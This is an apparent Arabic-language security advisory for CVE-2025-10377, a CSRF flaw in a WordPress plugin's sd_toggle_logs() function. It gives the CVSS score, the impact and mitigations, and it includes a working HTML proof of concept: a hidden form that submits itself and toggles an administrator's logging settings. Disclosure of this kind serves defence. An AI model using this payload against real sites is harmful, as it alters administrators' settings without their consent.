
CVE-2025-10377
نوع الثغرة: تزوير الطلبات عبر المواقع (CSRF)
الدالة المتأثرة: sd_toggle_logs()
CVSS v3.1: 4.3 (متوسطة)
المتجه: AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
(ملاحظة: تعكس النتيجة تغيير حالة غير مصرح به يتطلب ضحية بصلاحيات مسؤول وتفاعل المستخدم.)
وصف الثغرة:
تقوم الدالة sd_toggle_logs() بمعالجة عمليات حساسة مثل تمكين/تعطيل سجلات الوصول إلى الصفحات، وسجلات الأخطاء، وسجلات تسليم البريد الإلكتروني. ومع ذلك، فإنها تعتمد فقط على المعامل $_REQUEST['log_type'] والتحقق من الصلاحية (current_user_can( 'manage_options' )) دون تنفيذ حماية CSRF (مثل check_admin_referer() أو nonce).
ونتيجة لذلك، يمكن للمهاجم استدراج مسؤول مسجّل الدخول لزيارة صفحة خبيثة تقدّم طلبًا مصاغًا بصمت، مما يسبّب تغييرات غير مقصودة في تمكين/تعطيل تسجيل الموقع.
تغييرات حالة غير مصرح بها لميزات تسجيل الموقع (سجل الوصول إلى الصفحات، سجل الأخطاء، سجل تسليم البريد الإلكتروني).
إذا تم تمكين تسجيل الأخطاء، فقد يبدأ الموقع في كتابة أخطاء التطبيق إلى مسار ملف يحدده البرنامج الإضافي (مما يزيد من فرصة كشف المعلومات التشغيلية عبر السجلات)، لكن التأثير المباشر لهذه المشكلة هو تبديل الحالة نفسه.
عندما يزور مستخدم مسجّل الدخول يملك صلاحية manage_options صفحة المهاجم، يتم تبديل ميزة التسجيل المعنية دون موافقة صريحة.
<body>
<form action="http://victim.com/wordpress/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="sd_toggle_logs" />
<input type="hidden" name="log_type" value="errors_log" />
<input type="hidden" name="fast_ajax" value="true" />
<input type="hidden" name="load_plugins[]" value="system-dashboard/system-dashboard.php" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
استخدام nonces الخاصة بووردبريس (check_admin_referer() أو wp_verify_nonce()) للتحقق من الطلبات.
قصر الإجراءات الحساسة على طلبات POST فقط.
تجنّب الاعتماد فقط على فحوصات الصلاحيات للحماية من CSRF.
إذا لم تتمكن من إعادة إنتاج المشكلة تمامًا كما هو موصوف في التقرير، فيرجى الرجوع إلى العرض التوضيحي بالفيديو التالي (PoC) للحصول على سيناريو إعادة إنتاج واضح: